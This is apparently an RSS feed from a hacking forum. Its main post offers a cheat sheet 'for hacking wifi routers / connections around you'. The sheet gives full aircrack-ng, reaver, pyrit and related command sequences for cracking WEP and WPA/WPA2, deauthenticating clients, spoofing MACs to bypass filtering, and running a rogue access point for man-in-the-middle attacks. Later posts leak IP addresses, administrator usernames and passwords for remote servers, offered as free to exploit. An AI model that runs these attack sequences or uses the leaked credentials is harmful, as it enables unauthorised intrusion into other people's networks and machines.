airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 -a &lt;BSSID&gt; -h &lt;OurMac&gt; -e &lt;ESSID&gt; wlan0mon
aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aircrack-ng –b &lt;BSSID&gt; &lt;PCAP_of_FileName&gt;

# Method 2 : ARP Replay Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon

# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -3 –x 1000 –n 1000 –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aircrack-ng –b &lt;BSSID&gt; &lt;PCAP_of_FileName&gt;

# Method 3 : Chop Chop Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 –e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aireplay-ng -4 –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
# Press ‘y’ ;
packetforge-ng -0 –a &lt;BSSID&gt; -h &lt;OurMac&gt; -k &lt;SourceIP&gt; -l &lt;DestinationIP&gt; -y &lt;XOR_PacketFile&gt; -w &lt;FileName2&gt;
aireplay-ng -2 –r &lt;FileName2&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

# Method 4 : Fragmentation Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 –e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aireplay-ng -5 –b&lt;BSSID&gt; -h &lt; OurMac &gt; wlan0mon
# Press ‘y’ ;
packetforge-ng -0 –a &lt;BSSID&gt; -h &lt; OurMac &gt; -k &lt;SourceIP&gt; -l &lt;DestinationIP&gt; -y &lt;XOR_PacketFile&gt; -w &lt;FileName2&gt;
aireplay-ng -2 –r &lt;FileName2&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

# Method 5 : SKA (Shared Key Authentication) Type Cracking
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 10 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon down
macchanger –-mac &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon up
aireplay-ng -3 –b &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon
aireplay-ng –-deauth 1 –a &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

## WPA / WPA2 CRACKING

# Method 1 : WPS Attack
airmon-ng start wlan0
apt-get install reaver
wash –i wlan0mon –C
reaver –i wlan0mon –b &lt;BSSID&gt; -vv –S
# or, Specific attack
reaver –i –c &lt;Channel&gt; -b &lt;BSSID&gt; -p &lt;PinCode&gt; -vv –S

# Method 2 : Dictionary Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
aircrack-ng –w &lt;WordlistFile&gt; -b &lt;BSSID&gt; &lt;Handshaked_PCAP&gt;

# Method 3 : Crack with John The Ripper
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
cd /pentest/passwords/john
./john –wordlist=&lt;Wordlist&gt; --rules –stdout|aircrack-ng -0 –e &lt;ESSID&gt; -w - &lt;PCAP_of_FileName&gt;

# Method 4 : Crack with coWPAtty
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
cowpatty –r &lt;FileName&gt; -f &lt;Wordlist&gt; -2 –s &lt;SSID&gt;
genpmk –s &lt;SSID&gt; –f &lt;Wordlist&gt; -d &lt;HashesFileName&gt;
cowpatty –r &lt;PCAP_of_FileName&gt; -d &lt;HashesFileName&gt; -2 –s &lt;SSID&gt;

# Method 5 : Crack with Pyrit
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
pyrit –r&lt;PCAP_of_FileName&gt; -b &lt;BSSID&gt; -i &lt;Wordlist&gt; attack_passthrough
pyrit –i &lt;Wordlist&gt; import_passwords
pyrit –e &lt;ESSID&gt; create_essid
pyrit batch
pyrit –r &lt;PCAP_of_FileName&gt; attack_db

# Method 6 : Precomputed WPA Keys Database Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
kwrite ESSID.txt
airolib-ng NEW_DB --import essid ESSID.txt
airolib-ng NEW_DB --import passwd &lt;DictionaryFile&gt;
airolib-ng NEW_DB --clean all
airolib-ng NEW_DB --stats
airolib-ng NEW_DB --batch
airolib-ng NEW_DB --verify all
aircrack-ng –r NEW_DB &lt;Handshaked_PCAP&gt;

## FIND HIDDEN SSID

airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; wlan0mon
aireplay-ng -0 20 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon 

## BYPASS MAC FILTERING

airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 10 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon down
macchanger –-mac &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon up
aireplay-ng -3 –b &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon

## MAN IN THE MIDDLE ATTACK

airmon-ng start wlan0
airbase-ng –e “&lt;FakeBSSID&gt;” wlan0mon
brctl addbr &lt;VariableName&gt;
brctl addif &lt;VariableName&gt; wlan0mon
brctl addif &lt;VariableName&gt; at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig &lt;VariableName&gt; up
aireplay-ng –deauth 0 –a &lt;victimBSSID&gt; wlan0mon
dhclient3 &lt;VariableName&gt; &amp;
wireshark &amp;
;select &lt;VariableName&gt; interface</code></div></div>]]></description>
			<content:encoded><![CDATA[Here is a sheet I made for hacking wifi routers / connections around you you can also use <a href="https://github.com/RUB-NDS/PRET" target="_blank" class="mycode_url">PRET Printer Remote Exploitation Tool Kit</a><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>### Wireless Penetration Testing Cheat Sheet
## WIRELESS ANTENNA
# Open the Monitor Mode

ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up

# Increase Wi-Fi TX Power
iw reg set B0
iwconfig wlan0 txpower &lt;NmW|NdBm|off|auto&gt;
# txpower is 30 (generally)
# txpower is depends your country, please googling
iwconfig

# Change WiFi Channel
iwconfig wlan0 channel &lt;SetChannel(1-14)&gt;

## WEP CRACKING
# Method 1 : Fake Authentication Attack

airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 -a &lt;BSSID&gt; -h &lt;OurMac&gt; -e &lt;ESSID&gt; wlan0mon
aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aircrack-ng –b &lt;BSSID&gt; &lt;PCAP_of_FileName&gt;

# Method 2 : ARP Replay Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon

# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -3 –x 1000 –n 1000 –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aircrack-ng –b &lt;BSSID&gt; &lt;PCAP_of_FileName&gt;

# Method 3 : Chop Chop Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 –e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aireplay-ng -4 –b &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
# Press ‘y’ ;
packetforge-ng -0 –a &lt;BSSID&gt; -h &lt;OurMac&gt; -k &lt;SourceIP&gt; -l &lt;DestinationIP&gt; -y &lt;XOR_PacketFile&gt; -w &lt;FileName2&gt;
aireplay-ng -2 –r &lt;FileName2&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

# Method 4 : Fragmentation Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
# What’s my mac?
macchanger --show wlan0mon
aireplay-ng -1 0 –e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;OurMac&gt; wlan0mon
aireplay-ng -5 –b&lt;BSSID&gt; -h &lt; OurMac &gt; wlan0mon
# Press ‘y’ ;
packetforge-ng -0 –a &lt;BSSID&gt; -h &lt; OurMac &gt; -k &lt;SourceIP&gt; -l &lt;DestinationIP&gt; -y &lt;XOR_PacketFile&gt; -w &lt;FileName2&gt;
aireplay-ng -2 –r &lt;FileName2&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

# Method 5 : SKA (Shared Key Authentication) Type Cracking
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 10 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon down
macchanger –-mac &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon up
aireplay-ng -3 –b &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon
aireplay-ng –-deauth 1 –a &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon
aircrack-ng &lt;PCAP_of_FileName&gt;

## WPA / WPA2 CRACKING

# Method 1 : WPS Attack
airmon-ng start wlan0
apt-get install reaver
wash –i wlan0mon –C
reaver –i wlan0mon –b &lt;BSSID&gt; -vv –S
# or, Specific attack
reaver –i –c &lt;Channel&gt; -b &lt;BSSID&gt; -p &lt;PinCode&gt; -vv –S

# Method 2 : Dictionary Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
aircrack-ng –w &lt;WordlistFile&gt; -b &lt;BSSID&gt; &lt;Handshaked_PCAP&gt;

# Method 3 : Crack with John The Ripper
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
cd /pentest/passwords/john
./john –wordlist=&lt;Wordlist&gt; --rules –stdout|aircrack-ng -0 –e &lt;ESSID&gt; -w - &lt;PCAP_of_FileName&gt;

# Method 4 : Crack with coWPAtty
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
cowpatty –r &lt;FileName&gt; -f &lt;Wordlist&gt; -2 –s &lt;SSID&gt;
genpmk –s &lt;SSID&gt; –f &lt;Wordlist&gt; -d &lt;HashesFileName&gt;
cowpatty –r &lt;PCAP_of_FileName&gt; -d &lt;HashesFileName&gt; -2 –s &lt;SSID&gt;

# Method 5 : Crack with Pyrit
airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
pyrit –r&lt;PCAP_of_FileName&gt; -b &lt;BSSID&gt; -i &lt;Wordlist&gt; attack_passthrough
pyrit –i &lt;Wordlist&gt; import_passwords
pyrit –e &lt;ESSID&gt; create_essid
pyrit batch
pyrit –r &lt;PCAP_of_FileName&gt; attack_db

# Method 6 : Precomputed WPA Keys Database Attack
airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 1 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
kwrite ESSID.txt
airolib-ng NEW_DB --import essid ESSID.txt
airolib-ng NEW_DB --import passwd &lt;DictionaryFile&gt;
airolib-ng NEW_DB --clean all
airolib-ng NEW_DB --stats
airolib-ng NEW_DB --batch
airolib-ng NEW_DB --verify all
aircrack-ng –r NEW_DB &lt;Handshaked_PCAP&gt;

## FIND HIDDEN SSID

airmon-ng start wlan0
airodump-ng –c &lt;Channel&gt; --bssid &lt;BSSID&gt; wlan0mon
aireplay-ng -0 20 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon 

## BYPASS MAC FILTERING

airmon-ng start wlan0
airodump-ng –c &lt;AP_Channel&gt; --bssid &lt;BSSID&gt; -w &lt;FileName&gt; wlan0mon
aireplay-ng -0 10 –a &lt;BSSID&gt; -c &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon down
macchanger –-mac &lt;VictimMac&gt; wlan0mon
ifconfig wlan0mon up
aireplay-ng -3 –b &lt;BSSID&gt; -h &lt;FakedMac&gt; wlan0mon

## MAN IN THE MIDDLE ATTACK

airmon-ng start wlan0
airbase-ng –e “&lt;FakeBSSID&gt;” wlan0mon
brctl addbr &lt;VariableName&gt;
brctl addif &lt;VariableName&gt; wlan0mon
brctl addif &lt;VariableName&gt; at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig &lt;VariableName&gt; up
aireplay-ng –deauth 0 –a &lt;victimBSSID&gt; wlan0mon
dhclient3 &lt;VariableName&gt; &amp;
wireshark &amp;
;select &lt;VariableName&gt; interface</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Oo]]></title>
			<link>https://sinister.ly/Thread-Oo</link>
			<pubDate>Mon, 28 Oct 2024 16:33:21 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=279077">Mikeyjuju@icloud.com</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Oo</guid>
			<description><![CDATA[<img src="https://sinister.ly/images/smilies/set/sad.png" alt="Sad" title="Sad" class="smilie smilie_22" /> 99 is this the fastest way to make some money]]></description>
			<content:encoded><![CDATA[<img src="https://sinister.ly/images/smilies/set/sad.png" alt="Sad" title="Sad" class="smilie smilie_22" /> 99 is this the fastest way to make some money]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[fortinet]]></title>
			<link>https://sinister.ly/Thread-fortinet</link>
			<pubDate>Fri, 25 Oct 2024 10:18:38 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=278964">tnbrs</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-fortinet</guid>
			<description><![CDATA[Hi everyone,<br />
<br />
In light of the attacks suffered by Fortinet in 2024, I would like to ask your opinion on the reliability of their network security products. Is it still advisable to use Fortigate firewalls? What are your experiences and opinions on this matter?<br />
<br />
Thanks for your feedback!]]></description>
			<content:encoded><![CDATA[Hi everyone,<br />
<br />
In light of the attacks suffered by Fortinet in 2024, I would like to ask your opinion on the reliability of their network security products. Is it still advisable to use Fortigate firewalls? What are your experiences and opinions on this matter?<br />
<br />
Thanks for your feedback!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[need 5 post desperately]]></title>
			<link>https://sinister.ly/Thread-need-5-post-desperately</link>
			<pubDate>Fri, 27 Sep 2024 06:36:16 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=278004">biznaga123</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-need-5-post-desperately</guid>
			<description><![CDATA[sorry for the unrelated post but i need the count]]></description>
			<content:encoded><![CDATA[sorry for the unrelated post but i need the count]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[FREE RDP GERMANY]]></title>
			<link>https://sinister.ly/Thread-Leak-FREE-RDP-GERMANY</link>
			<pubDate>Tue, 27 Aug 2024 09:23:36 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=275567">Chamrosh</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Leak-FREE-RDP-GERMANY</guid>
			<description><![CDATA[SCAN/RAT/BRUTE/EXPLOIT/CRACKING / SPOOFED ALLOWED ⚠️  <br />
<br />
↪️IP : 109.61.18.97:22<br />
↪️ User : administrator<br />
↪️ Password : qO8ct2WlsH1auyxf<br />
<br />
More on Telegram Channel<br />
<br />
Screenshot : <a href="https://prnt.sc/k8MIzsjuhKSr" target="_blank" class="mycode_url">https://prnt.sc/k8MIzsjuhKSr</a><br />
<br />
Office website: <a href="https://chamrosh.co/" target="_blank" class="mycode_url">https://chamrosh.co/</a><br />
Telegra channel: <a href="https://t.me/chamroshcyber" target="_blank" class="mycode_url">https://t.me/chamroshcyber</a><br />
Telegra chat : <a href="https://t.me/chamroshpwns" target="_blank" class="mycode_url">https://t.me/chamroshpwns</a>]]></description>
			<content:encoded><![CDATA[SCAN/RAT/BRUTE/EXPLOIT/CRACKING / SPOOFED ALLOWED ⚠️  <br />
<br />
↪️IP : 109.61.18.97:22<br />
↪️ User : administrator<br />
↪️ Password : qO8ct2WlsH1auyxf<br />
<br />
More on Telegram Channel<br />
<br />
Screenshot : <a href="https://prnt.sc/k8MIzsjuhKSr" target="_blank" class="mycode_url">https://prnt.sc/k8MIzsjuhKSr</a><br />
<br />
Office website: <a href="https://chamrosh.co/" target="_blank" class="mycode_url">https://chamrosh.co/</a><br />
Telegra channel: <a href="https://t.me/chamroshcyber" target="_blank" class="mycode_url">https://t.me/chamroshcyber</a><br />
Telegra chat : <a href="https://t.me/chamroshpwns" target="_blank" class="mycode_url">https://t.me/chamroshpwns</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[FREE RDP]]></title>
			<link>https://sinister.ly/Thread-Leak-FREE-RDP--214050</link>
			<pubDate>Mon, 26 Aug 2024 05:49:38 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=275567">Chamrosh</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Leak-FREE-RDP--214050</guid>
			<description><![CDATA[SCAN/RAT/BRUTE/EXPLOIT/CRACKING / SPOOFED ALLOWED  ⚠️  <br />
<br />
↪️IP : 185.244.208.239:22<br />
↪️ User : administrator<br />
↪️ Password : wldB0000LGTNW8Mo<br />
<br />
Screenshot : <a href="https://prnt.sc/GrW9xgQTE0Ye" target="_blank" class="mycode_url">https://prnt.sc/GrW9xgQTE0Ye</a><br />
<br />
Office website: <a href="https://chamrosh.co/" target="_blank" class="mycode_url">https://chamrosh.co/</a><br />
Telegram channel: <a href="https://t.me/chamroshcyber" target="_blank" class="mycode_url">https://t.me/chamroshcyber</a><br />
Telegram chat : <a href="https://t.me/chamroshpwns" target="_blank" class="mycode_url">https://t.me/chamroshpwns</a>]]></description>
			<content:encoded><![CDATA[SCAN/RAT/BRUTE/EXPLOIT/CRACKING / SPOOFED ALLOWED  ⚠️  <br />
<br />
↪️IP : 185.244.208.239:22<br />
↪️ User : administrator<br />
↪️ Password : wldB0000LGTNW8Mo<br />
<br />
Screenshot : <a href="https://prnt.sc/GrW9xgQTE0Ye" target="_blank" class="mycode_url">https://prnt.sc/GrW9xgQTE0Ye</a><br />
<br />
Office website: <a href="https://chamrosh.co/" target="_blank" class="mycode_url">https://chamrosh.co/</a><br />
Telegram channel: <a href="https://t.me/chamroshcyber" target="_blank" class="mycode_url">https://t.me/chamroshcyber</a><br />
Telegram chat : <a href="https://t.me/chamroshpwns" target="_blank" class="mycode_url">https://t.me/chamroshpwns</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Router choice]]></title>
			<link>https://sinister.ly/Thread-Router-choice</link>
			<pubDate>Sun, 25 Aug 2024 20:59:18 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=276821">comprard</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Router-choice</guid>
			<description><![CDATA[what’s the best router currently on the market?]]></description>
			<content:encoded><![CDATA[what’s the best router currently on the market?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[i need a 4g/5g proxy]]></title>
			<link>https://sinister.ly/Thread-i-need-a-4g-5g-proxy</link>
			<pubDate>Mon, 19 Aug 2024 04:32:33 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=276559">KendallRoy</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-i-need-a-4g-5g-proxy</guid>
			<description><![CDATA[I need a 4G/5G proxy specifically in Ukraine, can someone recommend me one?]]></description>
			<content:encoded><![CDATA[I need a 4G/5G proxy specifically in Ukraine, can someone recommend me one?]]></content:encoded>
		</item>
	</channel>
</rss>